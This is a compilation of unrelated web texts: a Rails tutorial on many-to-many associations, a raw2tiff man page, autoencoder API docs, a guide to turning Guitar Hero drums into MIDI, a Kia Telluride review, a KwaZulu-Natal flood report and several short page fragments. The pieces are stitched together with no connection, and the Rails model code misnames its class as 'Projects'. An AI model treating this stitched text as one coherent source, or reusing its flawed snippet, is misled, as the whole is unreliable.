--- layout: post title: "Create a many-to-many ActiveRecord association in Ruby on Rails with has_many :through and has_and_belongs_to_many" date: 2016-01-28T08:51:26-05:00 categories: - articles tags: - ruby on rails - ActiveRecord ---
A common obstacle when building web applications are relational database associations. Without these it would be difficult to decrease the amount of duplicate data as well as increasing the overall database efficiency. The most common relationships are the: one-to-one, one-to-many, and many-to-many.
In this article I'll go through the creation of a many-to-many relationship with the built-in Ruby on Rails ActiveRecord
associations, has_many :through
and has_and_belongs_to_many:
. Additionally, the specific differences between the two will be examined, but before all that let's first get some background on what is a many-to-many relationship.
In relational database schemas, a many-to-many
association is when a database table is built in a way that relates it to another table through a joining table. There needs to be at least three table to accomplish this. This allows the developer to query the relationship between the two tables gather their respective collections.
Diving into an example, let's say you have an application that requires data for programmers, clients, and their connected projects. You could start by saying that a Programmer
is a member of a Project
as well as a Client
. This would lead you to design your database schema to resemble something like this:
Unfortunately, you now have set yourself up for a headache later on. To use this database you'll have to contend with having to create a project_id
foreign key in each subsequent table that needs an association with the Project
table. This can get hairy pretty quick.
Referential Integrity
A standard of databases that states data must remain consistent and valid when dealing with a relationship between two tables.
As an example, you could delete say a Project
record that is related to a Programmer
and Client
. Well now both the Programmer
and Client
records contain a project_id
key that refers to a deleted record. Which would be a violation of basic referential integrity.
So, that didn't work out very well. Let's take another stab at it from the opposite direction.
If every Project
has a Programmer
and Client
attached to it, then we could say that a Project
belongs to a Programmer
and a Project
also belongs to a Client
. Here it is organized into a new entity relationship diagram.
Let's double check it to make sure it passes the previous problem we ran into.
If we were to delete a Project
we would lose the project's data as well as the two foreign key fields: programmer_id
and client_id
. However, we don't end up with any invalid records in our system. Additionally, both the Programmer
and Client
records are completely usable as stand-alone data.
Good job! Looks like we successfully created a working database structure. Next I'm going to show off how to create these tables from the command line and the Rails association methods that make using them easier.
There are a few different types of ActiveRecord associations. has_one
signifies that a model has one record of another specific model. has_many
is the same except there can be many records. belongs_to
is used to show that the model on the other side of the association is part of or belongs to the associated model.
These are some of the basic fundamentals of ActiveRecord Assocations, at least from a theorhetical standpoint. However, for the purposes of this article we will focus on many-to-many associations which are accomplished with two of the more challenging associations that can be implemented. The has_many :through
and the has_and_belongs_to_many:
.
Rails Tip
I am using the shortened version of the rails generate
command which is simply rails g
. Nifty!
The first step to implementing a has_many :through
association is to run the rails
generator to create the model and the migration files. We will use the entity relationship diagram (pictured above) to
create our application. I've listed the appropriate migrations below. I recommend using the rails generate model
syntax, as it not only gives you a model but the matching migration file as well.
Pay close attention to the Project
model command syntax. The :references
syntax is a shortcut for
creating an index on the preceding field name, programmer and client in this instance, as well as marking them as foreign key constraints for the programmers and clients database tables.
What is a Join Table?
A join table acts as an intermediary between two or more tables. This provides a convient location for shared database fields to be stored (project_name or budget would be examples) as well as associating the tables to each other.
For example using the programmer field, the :references
syntax will create a reference to a model with name programmer by creating an id called programmer_id
on the projects table and will constrain it to the programmers table. Once migrated (hint: rake db:migrate
) you will be able to use the association between programmers and clients through the project join table.
Next, we'll need to come up with the proper Rails association methods to use. I find this part is easier when they are spoken out loud or in my head before I go about creating them. Not only is this a good practice to get into with the Rails methods but also before you create the initial database diagram.
This may sound silly, but it can really help you to catch any logic in the associations that doesn't make sense. So speaking these out loud.
Alright, those seem to make sense (we already know that they should work based on the discussion at the beginning of the article). Now we need to add the Rails methods to our respective model files.
{% highlight ruby %} # app/model/programmer.rb class Programmer < ActiveRecord::Base has_many :projects has_many :clients, through: :projects end # app/model/client.rb class Client < ActiveRecord::Base has_many :projects has_many :programmers, through: :projects end # app/model/project.rb class Projects < ActiveRecord::Base belongs_to :programmer belongs_to :client end {% endhighlight %}By utilizing these associations we now have access to a number of helper methods (16 to be exact). Here they are directly from the RailsGuides documentation.
This is now a properly set up has_many :through association which can be utilized by the preceding methods. I've given examples of collection.create(attributes = {})
and collection
below.
An alternative way for creating many-to-many associations in Rails, is to use the has_and_belongs_to_many
association or HABTM for short. The setup is very similiar to the has_many :through
association. The migration is slightly different though for the has_many :through
association so you'll need to make sure you are running these on a clean database (or you can rollback to previous migrations and create new ones).
Custom names for join tables
If you really want to use a different name for the join table you can add the join_table: :database_table_name
to your model association to point it to another database table.
Format: has_and_belongs_to_many :clients, join_table: :projects
One of the first differences to notice is that we are not creating a model for the join table (projects). has_and_belongs_to_many
doesn't require you to creating a model for this table. Additionaly, this type of association relies off of the two other tables for its naming convention, clients_programmers
in this instance.
So again we need to create the proper associations in our model code. Speak these out loud. Again they are slightly different than the has_many :through
association.
And, in our respective model code.
{% highlight ruby %} # app/model/programmer.rb class Programmer < ActiveRecord::Base has_and_belongs_to_many :clients end # app/model/client.rb class Client < ActiveRecord::Base has_and_belongs_to_many :programmers end {% endhighlight %}Once again here is how you would utilize the associations in your code or console.
Now, you might be asking yourself "Why would I ever use the has_many :through association when has_and_belongs_to_many: is much easier to setup". Well the next section will explain the downsides of it and why generally using has_many :through
is the best practice.
While it looks like less work to use a has_and_belongs_to_many
association, it actually can end up
costing you a lot of time down the road.
Imagine you build a system with the aforementioned HABTM association. One day your client (your actual client not the database table in the article) requests that the Project
table must always have data for a name and description field filled out or else it will be invalid. With a HABTM association there isn't a model in which to place the validation code. While with has_many :through
you have a model immediately ready for usage which would allow you to do write something like this:
Furthermore, suppose that this same client (again, the person paying you for the application) requested that anytime a project's deadline_date was less than the current date that the system would automatically set the project as closed. With a HABTM association you would need to create an additional class or potentially a concern to package this functionality.
Here is an example of the shared methods while building upon the already existing model validations from above:
{% highlight ruby %} class Project < ActiveRecord::Base validates :name, presence: true validates :description, presence: true def status_update close_project unless active? end def active? current_date < deadline_date end def close_project self.status = :closed end end {% endhighlight %}There isn't anywhere to place this without creating more files with a HABTM association. This is by far the largest downside. has_many :through
on the other hand gives you a model for your join table, allowing you to validate fields and add shared functionality through methods.
Here is an example of a difference in some of the built-in methods that are created when you use either one of these associations. For has_many :through
you can create objects on the collection as seen above in the following format:
Unfortunately, since we don't have a model with the configured HABTM association we'll need to build the association on the specific collection. Perceptive readers might have noticed this earlier in the HABTM create association example. Here it is again:
{% highlight ruby %} programmer.clients.create(name: 'Mr. Nic Cage') {% endhighlight %}Notice how for HABTM, we use programmer.clients.create(client_attribute: value)
to build the collection, unlike a has_many :through
where we can use the join table model like so: programmer.projects.create(client: client_object)
. Just another difference between the two association methods.
The best use case for a HABTM association is when you are working with an already built database. For some reason maybe the has_many :through
association just isn't going to work with the existing structure. Or maybe the system is already utilizing a custom HABTM association and removing it could irrevocably break parts of the system.
A little dramatic I know.
These sort of cases typically happen with legacy applications as HABTM is an older feature of Rails. With some good refactoring they could be removed from the system, given there is a good suite of tests configured.
RailsGuides"The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table in the database).
You should use has_many :through if you need validations, callbacks, or extra attributes on the join model."
I would recommend that 99% of the time that you stick to creating has_many :through
associations. They end up being much cleaner as well as saving you time down the road by giving you a model that is tied to your database's join table.
The other 1% of the time, has_and_belongs_to_many:
is very useful for legacy relational database schemas as well as older systems. Sometimes HABTM makes a lot of sense for these situations.
While has_and_belongs_to_many:
associations are quicker to setup they tend not to scale well as your applications requires more functionality. has_many :through
on the other hand are very versatile and give the added benefit of having a model directly mapped to your join table.
Both types of many-to-many associations require the creation of a migration for a join table, a table that sits between two other tables and helps to association them to each other. This table is directly mapped to a model when using a has_many :through
association but not a HABTM.
has_many :through
programmer.projects.create(client: client_object)
has_and_belongs_to_many:
join_table: :database_table_name
So we've gone through the basics of designing a good many-to-many database structure, the console commands needed to create proper migrations, and the different setups of Rail's two many-to-many association methods.
Was there something you would like added to this article? Got a better use case for the has_and_belongs_to_many:
association? How about a favorite association? Weigh in on it in the comments below.


Textbooks at UF is an application which provides an enriching marketplace experience for buying and selling used textbooks among students at the University of Florida.
Use the UF Texbook Adoption data to provide a detailed listing.
Narrow down textbooks by their title, author, class, professor, or price.
Message sellers directly on a listing to communicate your interest.


This package implements the security relevant aspects of the PDF spec.
Performing an encryption from scratch for a document is currently not implemented.


As the world of business relies on the Internet more and more, web-related career opportunities are growing. Web skills are needed in public companies, private companies, non-profit organizations, local, state and federal government agencies, schools, and any other kind of business or organization that you can think of. It is also a career that can be part-time, full-time, free-lance and home-based, creating many flexible job opportunities.
Depending on the size of the organization, job descriptions for web-based careers may include experts in graphic design, content creation, programming, and usability testing. In smaller organizations, the web designer and the web developer may be the only employees working on web projects. Most web designers are more marketable if they have at least some knowledge of web coding. Most web developers are more marketable if they have some knowledge of the importance of design and how the site looks. Students interested in a web career should accumulate skills in both areas whenever possible.
The education and training requirements to be a web designer vary significantly depending on the size and type of organization and the sophistication of that organization's use of the web. When reading job listings, common technical skills listed include:
A web developer works more on the server side development, web server configuration, and web server security. Most developers build a foundation in programming abilities to enable them to learn to program in any language. Programming languages and web development tools often mentioned in job listings include: Perl, C, Ajax, Python, Ruby and scripting. Knowing how to build a database and use it on the web is also an asset to a developer's resume.
Any job in the area of web design and development will require continuous study because of the rapidly changing nature of the Internet and web technology. Ongoing education in current technology is necessary.


Fired when the grid's header is clicked.
event
(object)
- Javascript event object
args
(object)
- This event's additional arguments.
column
(object)
- The current options for the column that the event is acting upon.
new DobyGrid().on('headerclick', function(event, args) {
//console.log(event, args)
})


This shows how date ticks and labels may be generated according to local
time (default) or UTC with the option labelsUTC
.
72 hours of random hourly data since 2009-Jul-23 18:00 UTC according to local time (top) and UTC (bottom):
Please note the offset between the respective ticks in both plots. It should match your local time zone offset.
You can also check it by hovering over corresponding points and comparing the value labels.
Try different zoom levels to show that ticks are always placed at nice time boundaries.


 Capicola jerky chicken shankle. Shoulder sausage porchetta alcatra bresaola brisket. Pork loin sausage short loin bacon ham porchetta shoulder pork pastrami brisket salami tongue. Meatball ground round chicken ham hock prosciutto, tenderloin kevin. Tenderloin drumstick biltong filet mignon bresaola, spare ribs fatback boudin pancetta.
Boudin kielbasa porchetta, frankfurter pastrami fatback ground round sirloin capicola ham hock pork chop. Hamburger pork loin shank pork chop porchetta doner capicola andouille picanha tail bacon short loin flank turkey. Hamburger pork biltong andouille ham t-bone short ribs. Boudin jerky short ribs, landjaeger chuck prosciutto turducken cupim swine capicola shankle strip steak. Pastrami brisket bresaola, ground round pig beef ribs t-bone meatball cow. Pork chop swine prosciutto, chuck shoulder turducken pancetta bresaola corned beef pig.
  Hamburger pork belly meatloaf ham hock brisket pig. Frankfurter rump flank corned beef cow pastrami.  Spare ribs doner strip steak ground round tongue pork.
Tri-tip tenderloin pastrami bresaola t-bone pork turkey kielbasa tongue flank, shoulder tail. Jowl alcatra pork chop, cupim bacon short ribs kevin landjaeger turkey chuck ham hock ribeye chicken. Alcatra porchetta landjaeger turkey, boudin bresaola rump ribeye jerky. Pancetta leberkas andouille kielbasa short ribs ground round. Sausage bacon beef shank short ribs.
Jowl ham hock short ribs capicola, cupim tri-tip kielbasa bresaola venison tongue sirloin. Filet mignon ball tip andouille kielbasa tenderloin, meatball jerky ground round alcatra flank. Cupim andouille shank pork ham venison filet mignon ground round shankle picanha hamburger drumstick. Kielbasa bresaola capicola, boudin spare ribs pork prosciutto. Pastrami alcatra pork belly meatloaf.
Does your lorem ipsum text long for something a little meatier?  Capicola jerky chicken shankle. Shoulder sausage porchetta alcatra bresaola brisket. Pork loin sausage short loin bacon ham porchetta shoulder pork pastrami brisket salami tongue. Meatball ground round chicken ham hock prosciutto, tenderloin kevin. Tenderloin drumstick biltong filet mignon bresaola, spare ribs fatback boudin pancetta.
Boudin kielbasa porchetta, frankfurter pastrami fatback ground round sirloin capicola ham hock pork chop. Hamburger pork loin shank pork chop porchetta doner capicola andouille picanha tail bacon short loin flank turkey. Hamburger pork biltong andouille ham t-bone short ribs. Boudin jerky short ribs, landjaeger chuck prosciutto turducken cupim swine capicola shankle strip steak. Pastrami brisket bresaola, ground round pig beef ribs t-bone meatball cow. Pork chop swine prosciutto, chuck shoulder turducken pancetta bresaola corned beef pig.
  Hamburger pork belly meatloaf ham hock brisket pig. Frankfurter rump flank corned beef cow pastrami.  Spare ribs doner strip steak ground round tongue pork.
Tri-tip tenderloin pastrami bresaola t-bone pork turkey kielbasa tongue flank, shoulder tail. Jowl alcatra pork chop, cupim bacon short ribs kevin landjaeger turkey chuck ham hock ribeye chicken. Alcatra porchetta landjaeger turkey, boudin bresaola rump ribeye jerky. Pancetta leberkas andouille kielbasa short ribs ground round. Sausage bacon beef shank short ribs.
Jowl ham hock short ribs capicola, cupim tri-tip kielbasa bresaola venison tongue sirloin. Filet mignon ball tip andouille kielbasa tenderloin, meatball jerky ground round alcatra flank. Cupim andouille shank pork ham venison filet mignon ground round shankle picanha hamburger drumstick. Kielbasa bresaola capicola, boudin spare ribs pork prosciutto. Pastrami alcatra pork belly meatloaf.
Does your lorem ipsum text long for something a little meatier? Give our generator a try… it’s tasty!


RAW2TIFF
Section: User Commands (1)Updated: November 2, 2005
Index Return to Main Contents
NAME
raw2tiff - create a TIFF file from a raw dataSYNOPSIS
raw2tiff [ options ] input.raw output.tifDESCRIPTION
raw2tiff converts a raw byte sequence into TIFF. By default, the TIFF image is created with data samples packed (PlanarConfiguration=1), compressed with the PackBits algorithm (Compression=32773), and with each strip no more than 8 kilobytes. These characteristics can overridden, or explicitly specified with the options described below.OPTIONS
- -H number
- size of input image file header in bytes (0 by default). This amount of data just will be skipped from the start of file while reading.
- -w number
- width of input image in pixels (can be guessed, see GUESSING THE IMAGE GEOMETRY below).
- -l number
- length of input image in lines (can be guessed, see GUESSING THE IMAGE GEOMETRY below).
- -b number
- number of bands in input image (1 by default).
- -d data_type
-
type of samples in input image, where
data_type
may be:
byte 8-bit unsigned integer (default),
short 16-bit unsigned integer,
long 32-bit unsigned integer,
sbyte 8-bit signed integer,
sshort 16-bit signed integer,
slong 32-bit signed integer,
float 32-bit IEEE floating point,
double 64-bit IEEE floating point. - -i config
-
type of samples interleaving in input image, where
config
may be:
pixel pixel interleaved data (default),
band band interleaved data. - -p photo
-
photometric interpretation (color space) of the input image, where
photo
may be:
miniswhite white color represented with 0 value,
minisblack black color represented with 0 value (default),
rgb image has RGB color model,
cmyk image has CMYK (separated) color model,
ycbcr image has YCbCr color model,
cielab image has CIE L*a*b color model,
icclab image has ICC L*a*b color model,
itulab image has ITU L*a*b color model. - -s
- swap bytes fetched from the input file.
- -L
- input data has LSB2MSB bit order (default).
- -M
- input data has MSB2LSB bit order.
- -c
- Specify a compression scheme to use when writing image data: -c none for no compression, -c packbits for the PackBits compression algorithm (the default), -c jpeg for the baseline JPEG compression algorithm, -c zip for the Deflate compression algorithm, and -c lzw for Lempel-Ziv & Welch.
- -r number
- Write data with a specified number of rows per strip; by default the number of rows/strip is selected so that each strip is approximately 8 kilobytes.
GUESSING THE IMAGE GEOMETRY
raw2tiff can guess image width and height in case one or both of these parameters are not specified. If you omit one of those parameters, the complementary one will be calculated based on the file size (taking into account header size, number of bands and data type). If you omit both parameters, the statistical approach will be used. Utility will compute correlation coefficient between two lines at the image center using several appropriate line sizes and the highest absolute value of the coefficient will indicate the right line size. That is why you should be cautious with the very large images, because guessing process may take a while (depending on your system performance). Of course, the utility can't guess the header size, number of bands and data type, so it should be specified manually. If you don't know anything about your image, just try with the several combinations of those options. There is no magic, it is just a mathematical statistics, so it can be wrong in some cases. But for most ordinary images guessing method will work fine.SEE ALSO
pal2rgb(1), tiffcp(1), tiffmedian(1), libtiff(3)Libtiff library home page: http://www.remotesensing.org/libtiff/
Index
This document was created by man2html, using the manual pages.
Time: 05:29:09 GMT, December 24, 2015


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This file will become your README and also the index of your documentation.
Install
pip install nbdev_sample
How to use
Fill me in please! Don't forget code examples:
1+1
2
say_hello("xx")
---------------------------------------------------------------------------NameError Traceback (most recent call last)
<ipython-input-30-0d8dd1b849d2> in <module>----> 1say_hello("xx")NameError: name 'say_hello' is not defined


GitMate is hosted at Hetzner which ISO/IEC 27001 certified and employs various methods to minimize the risk of a data breach.
To read more about the physical server security visit the Hetzner Security summary .
GitMate employees will never access your source code, analysis results, or any information associated to your user account unless you grant your explicit consent to do so, e.g. for support cases.
If you think you found a security issue, please create a confidential issue at code.gitmate.io or mail it directly to<EMAIL_ADDRESS>.


{% extends 'cases/base.html' %} {% block content %}
Most modern text editors offer the ability to export .docx files. Check your text editor's help documents for further information.


%name%
:
%raised%
of
%total%
raised.
%if(description)%
%description%
%endif(description)%
%percentage%%
Give to %name%


Add a Column maneuver at the current count. Turns the block left or right, transforming into a parallelogram.


At University, I’ve kind of taken it on as a bit of a personal project to collect a full set of gadgets for the Rock Band/Guitar Hero games. Being a PC gamer primarily, and not having a console, having a PS3 in the flat in Bristol meant that I could get into these games for the first time - little did I know how hard the kit was to get hold of, cheaply.
The drums were the last piece of the puzzle, and when I got them (after spending a paltry £20), I thought - hold on, these drums are basically just a series of MIDI triggers, can I make them into a real electronic drumkit?
Turns out, you can. And the software already exists for you to do it as well, pretty easily.
You’ll need these things:
The wireless dongle from your Guitar Hero drum set. (not tested with the Rock Band set, but similar should apply)
For icing sugar, a good drumkit VST for use with your audio program, I used EZDrummer.
Here's how all the pieces fit together. Firstly, ensure that all the software you need is installed (LoopBe1, FL, EZDrummer etc) before you start. Then, plug in your wireless receiver into a free USB port. Windows (the operating system you'll need, by the way) should then download the necessary drivers for it to see the receiver as a new USB controller device. But that's all it is, for now, you won't be able to use the drumkit for anything useful yet.
Next, run PS360MidiDrummer. This is a handy program that interprets the hits from your drums, and converts them to MIDI signals, which you can choose (to change the sound of the "yellow" drum to a cymbal, or tom, or cowbell or whatever, for example). This is all well and good, but realistically, MIDI sounds sound like arse, and there'll be quite a delay between you hitting the drum and a sound coming out. This is no good. So, in the lower left of the PS360MidiDrummer window, select "LoopBe1" from the list of MIDI outputs.
What LoopBe1 does is act as an internal patch cable, of sorts, by allowing software programs to send MIDI to each other. Imagine plugging your MIDI keyboard into your computer, but just doing it all inside. With this, you can configure your audio program (such as FL Studio), to receive LoopBe1 as an input, and there you go - your MIDI signals are going through.
In the context of FL Studio (which you can get a demo for, for free), go into Options and select LoopBe1 as a MIDI input, as I said, and then go into the Audio panel of Options and select the ASIO4ALL drivers. This means that FL Studio is getting the signals from your drums, and that the latency problem of before has gone (or is notably reduced), due to the faster sound drivers. If the latency problem still persists, tweak with the buffer sample size of your ASIO drivers to get the right balance between speed and quality.
Then, pick a sound synth to make your sounds. I used EZDrummer, but you could use whatever drum (or any instrument, really - though it would make a pretty limited piano!) synth you wanted.
Not that hard a thing to get running! Next, I don’t see why you couldn’t configure a Guitar Hero guitar to play the notes of a real one, using a similar process. And you can even use them as actual gaming controllers, using JoyToKey.


src.networks.autoencoder¶
File: autoencoder.py | Created on the 2019-02-22 | Github: https://github.com/pl19n72019
This file contains the network.AutoEncoder class which provides useful functions to init, train, load, and save autoencoder models.
-
class
src.networks.autoencoder.
AutoEncoder
(model=None, dataset_path=None, batch_size=128, load_models=None, version=0)[source]¶ Bases:
object
Global functionalities of the auto-encoders.
This class treats the encoder and the decoder parts. It allows to train auto-encoders (define in the package models), and to perform all classic operations on the auto-encoders.
-
__init__
(model=None, dataset_path=None, batch_size=128, load_models=None, version=0)[source]¶ Creation of the auto-encoder functionalities treatment object.
It loads and create the dataset and the models. Only 80% of the load data are used for the training phase. The other 20% are use to validate the model during the fitting phase. Moreover, the shape of the data (train and test) are fitting to run on 2-dimensional convolutional neural network (which offers the best results). If other network are used, reshape the data at the input of the network. A generator approach is used for loading the data, which means that the data is loaded batch per batch.
Parameters: - model – Model of auto-encoder (should be created in the package models) (default: None). Set it to None if you’re loading an existing model.
- dataset_path (str) – Path to the dataset (default: None). If it is set to None, the current path is selected. Note that you need to point toward a dataset folder as described in the maintenance section of the documentation.
- batch_size (int) – Size of the batch (default: 128).
- load_models (str) – Model to load (default: None). If it is set to None, no model is loaded. In that case model should not be set at None.
- version (int) – Version of encoder to load (default: 0). If load_models is not None, it refers to the version of encoder to load. By default, it load the first model created by the outer- loop.
Note
This file should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
compile
(optimizer='adadelta', loss='mean_squared_error')[source]¶ Compile the complete model.
This method should be call only on new auto-encoders (the flag load_models should be set to None).
Parameters: - optimizer (str (name of optimizer) or optimizer instance) – Optimizer used to train the neural network (default: ‘adadelta’).
- loss (str (name of objective function) ob objective function) – Objective function used to analyze the network during the different phases (default: ‘mean_squared_error’).
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
encode
(x, batch_size=128)[source]¶ “Generates output predictions for the input samples (outputs of the encoder neural network).
This method can be call on every instantiation (the flag load_models is not intended to be set to None).
Parameters: - x (numpy.ndarray like) – Input data. Should be an array of shape (nb_images, width_im, height_im, 1). 1 stands for grayscale images.
- batch_size (int) – Number of samples per pass (default: 128).
Returns: Numpy array(s) of reshaped predictions (for two-dimensional convolutional neural network).
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
encode_dataset
(data_in, data_out)[source]¶ Generate an encoded data from a timestack data.
Be aware of the fact that your data needs to have the same dimension that the one required by the model. Be aware of the fact that your different path have to point toward a dataset folder as defined in maintenance section of the documentation.
Parameters: - data_in (str) – Path to the data to encode (put ‘.’ if you want to specify that the data is in the local path).
- data_out (str) – Path where to stock the encoded data (put ‘.’ if you want to specify that the data is in the local path).
-
fit
(epochs=50, repeat=1, fname='autoencoder', fname_enc='encoder', verbose=1)[source]¶ Trains the model for a given number of epochs (iterations on a dataset).
This method should be call only on new auto-encoders (the flag load_models should be set to None).
Parameters: - epochs (int) – Number of epochs to run on each outer-loop (default: 50). At the end of each epoch iterations, the neural networks are saved.
- repeat (int) – Number of outer-loops (default: 1). At the end of the training phase, epochs * repeats epochs are performed. Moreover, repeat networks are saved on the disk.
- fname (str) – Name of the complete neural network on the disk (default: ‘autoencoder’).
- fname_enc (str) – Name of the encoder part of the neural network on the disk (default: ‘encoder’).
- verbose (int, 0, 1, or 2) – Verbosity mode (default: 1). 0 = silent, 1 = progress bar, 2 = one line per epoch.
Returns: A record of training loss values and metrics values at successive epochs, as well as validation loss values and validation metrics values (if applicable).
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
load_losses
(fname='autoencoder')[source]¶ Loads the history given as input.
This method can be call on every instantiation (the flag load_models is not intended to be set to None).
Parameters: fname (str) – Name of the file to load (default: ‘autoencoder’). Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
load_weights
(fname='autoencoder', full=True, version=0)[source]¶ Loads the weights of the networks.
This method can be call on every instantiation (the flag load_models is not intended to be set to None) if full is set to False. If not, this method should not be call.
Parameters: - fname (str) – Name of the file to save (default: ‘autoencoder’).
- full (bool) – Network flag (default: True). If full is set to True, the auto-encoder is saved and if not, only the encoder is saved.
- version (int or str) – Version of the network weights to load (default: 0). It refers to the repeat flag in the fitting method.
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
predict
(x, batch_size=128)[source]¶ “Generates complete output predictions for the input samples (outputs of the auto-encoder neural network).
This method should be call only on new auto-encoders (the flag load_models should be set to None).
Parameters: - x (numpy.ndarray like) – Input data.
- batch_size (int) – Number of samples per pass (default: 128).
Returns: Numpy array(s) of reshaped predictions (for displaying).
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
save_architecture
(fname='autoencoder', full=True)[source]¶ Saves the architectures of the networks.
This method can be call on every instantiation (the flag load_models is not intended to be set to None) if full is set to False. If not, this method should not be call.
Parameters: - fname (str) – Name of the file to save (default: ‘autoencoder’).
- full (bool) – Network flag (default: True). If full is set to True, the auto-encoder is saved and if not, only the encoder is saved.
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
save_losses
(history, fname='autoencoder')[source]¶ Saves the history given as input.
This method can be call on every instantiation (the flag load_models is not intended to be set to None).
Parameters: - history (dict) – History the save on disk.
- fname (str) – Name of the file to save (default: ‘autoencoder’).
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-
save_weights
(fname='autoencoder', full=True, architecture=True)[source]¶ Saves the weights of the networks.
This method can be call on every instantiation (the flag load_models is not intended to be set to None) if full is set to False. If not, this method should not be call.
Parameters: - fname (str) – Name of the file to save (default: ‘autoencoder’).
- full (bool) – Network flag (default: True). If full is set to True, the auto-encoder is saved and if not, only the encoder is saved.
- architecture (bool) – Architecture flag (default: True). If architecture is set to True, the architecture the the network related to the flag full is saved in a JSON format.
Note
This method should not be modified to be adapter to other networks. Only the package models and the main script should be modified.
-


2020 Kia Telluride review
International drive
by Mike DuffRating: 8.5
Current Pricing Not Available
Big, classy and attractively priced – but Kia’s biggest SUV won’t come here.
Pros and Cons
Pros
- Handsome design
- Huge equipment
- Bargain pricing
Cons
- Limited dynamic engagement
- Won’t come to Australia
- shares
We are living in the age of the SUV, but many manufacturers don't seem particularly keen to emphasise the 'off-roadness' of the models they are cramming into this overstuffed part of the market. The segment is full of wishy-washy crossovers, 'lifestylish' cars – many of which seem to have been designed to look like ramped hatches and station wagons.
That's categorically not the case with the 2020 Kia Telluride – a car that owns both its SUV status and its sheer size. Built in the US and designed for American tastes, it sits above the already sizeable Kia Sorento in the brand's hierarchy with a five-metre length and – depending on whether you opt for a bench or separate seats for the second row – room for seven or eight.
There are no plans to sell it in Australia, or any right-hand-drive markets, but it has already proved a hit in the States thanks to its combination of size, style and compelling pricing. I drove one in Michigan and emerged from the experience impressed, because there’s lots to like about the Telluride.
For Americans, the most appealing quality is the one with the dollar sign in front of it. The entry-level front-driven LX versions cost US$32,785–$48,315 at current exchange rates – and although that means cloth seats, it still brings three rows of seats, a full suite of active-safety functionality, and a 217kW 3.8-litre V6 engine. But even heading straight to the other end of the range, the full-fat AWD SX version only increases the asking to US$44,585 – 10 grand less than the range-topping Ford Explorer.
Yet, nothing about the Telluride feels cheap. The solid, upright styling and chrome-heavy front grille give it both a sense of confidence and an upmarket feel at odds with both its badge and its price tag. Moving inside, the cabin makes it feel even more impressive, with a spacious, well-finished interior that feels closer to premium Europeans than the plasticky interiors that America's domestic carmakers offer in this bit of the market.
It's well finished and well designed, with abundant space in the front and centre rows, plus a clean, rational dashboard incorporating a 10.3-inch touchscreen and a row of Lexus-like controls for the heating and ventilation. Quality touches include soft nappa leather trim, and both heating and ventilation for the front- and second-row seats.
You'll be unsurprised to hear that it isn't a scintillating thrill-fest on the road. I drove the range-topping SX, but all versions use the same naturally aspirated V6. This feels big and lazy, with respectable part-throttle urge, but a gravelly soundtrack when pushed hard. It’s actually pretty quick – Kia quotes a 7.0-second 0–60mph (0–97km/h) time – although beyond being seriously late for soccer practice or a kid's softball game, it's hard to imagine any buyers wanting to experience that.
The standard eight-speed auto ’box feels a bit abrupt on throttle-stamped upchanges, too. But driven at the more respectful pace the car is designed for, both engine and gearbox soon fade into the background and cruising refinement is excellent.
The chassis sticks with the same script: composed, comfortable and mostly uninterested in faster progress. Ride quality is impressive, the Telluride's dampers maintaining order over some frost-broken Midwestern back roads without allowing harshness to creep in. Grip levels from the Michelin Primacy Tour all-season tyres are predictably modest, with squealing on dry tarmac marking the approaching limits. Body roll under harder cornering is also pretty nautical.
In short, it's definitely not as athletic as the premium alternatives, or the impressively lithe CX-9 that costs similar money in the States. But compared to the Mazda, the Telluride is bigger, classier and considerably better equipped.
Beyond the practicality that comes from sheer space, the Telluride is packed with well-considered details. There are USB charging ports seemingly everywhere and a huge number or stowage cubbies, plus an inductive charging mat up front. There's even an intercom system – dubbed Driver Talk – to help relay messages throughout the cabin, so that kids can't claim not to have heard instructions to put down their screens and look at the view.
The SX's second row of seats are power-collapsible, although it's still necessary to haul the third row out of the boot floor manually. (The closely related Hyundai Palisade has a powered third row, too.) With all seats raised there is 594L of luggage space, while toppling the rearmost increases that to 1302L, and folding the middle as well gives a panel van rivalling 2463L. Oh, and on US methodology it can also tow up to 2300kg.
Most of the American cars that don't get to leave America probably wouldn't travel that well, and beyond novelty value, their absence isn't a huge loss to the rest of the world. Yet, although created very much around US needs and priorities, the Telluride feels like it would work anywhere people want space and refinement, and especially well in Australia given our enthusiasm for both three-row crossovers and the existing Sorento.
Will the Kia Telluride come to Australia?
Sadly, the lack of right-hand-drive manufacture will deny it to us. Where have we heard that one before?
MORE: Telluride news, reviews, comparisons and videos
MORE: Everything Kia
The basics
Engine: 3778cc V6
Transmission: 8-speed auto, all-wheel drive
Power: 217kW at 6000rpm
Torque: 355Nm at 5200rpm
0–97km/h: 7.0sec
Top speed: 210km/h (limited)
Weight: 2020kg
Economy: TBC
CO2: NA
Price: US$44,585 (SX, AWD)
Our Ratings Breakdown
Rating: 8.5
7.8 Performance
8.5 Ride Quality
8.0 Handling & Dynamics
8.9 Driver Technology
8.5 Interior Comfort & Packaging
8.4 Infotainment & Connectivity
7.5 Fuel Efficiency
8.8 Safety
9.2 Value for Money
9.1 Fit for Purpose
Our ratings explained
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2020 Kia Telluride review


KZN rescue teams search for 7-year-old who was swept off bridge
by Kaveel SinghThe heavy rains in KwaZulu-Natal have struck again, this time claiming a seven-year-old boy who was swept away while walking home from school.
On Tuesday, IPSS spokesperson Dylan Meyrick said rescue teams were searching the Nonoti River in Darnell, Durban.
"The [seven-year-old] was walking home from school and was washed off a low-level bridge. The river is in full flood."
The search had to be called off at around 17:30 due to poor weather conditions and lightning, said IPSS spokesperson Paul Herbst.
"The search will continue at first light tomorrow [Wednesday] morning, weather dependent," he added.
Meanwhile, the KwaZulu-Natal Cooperative Governance and Traditional Affairs (Cogta) department has activated councillors and volunteers to assist affected communities after a tornado formed in New Hanover, just outside Pietermaritzburg on Tuesday afternoon.
The tornado, according to Cogta, "ripped through the area, injuring scores of people and damaging homes and public infrastructure".
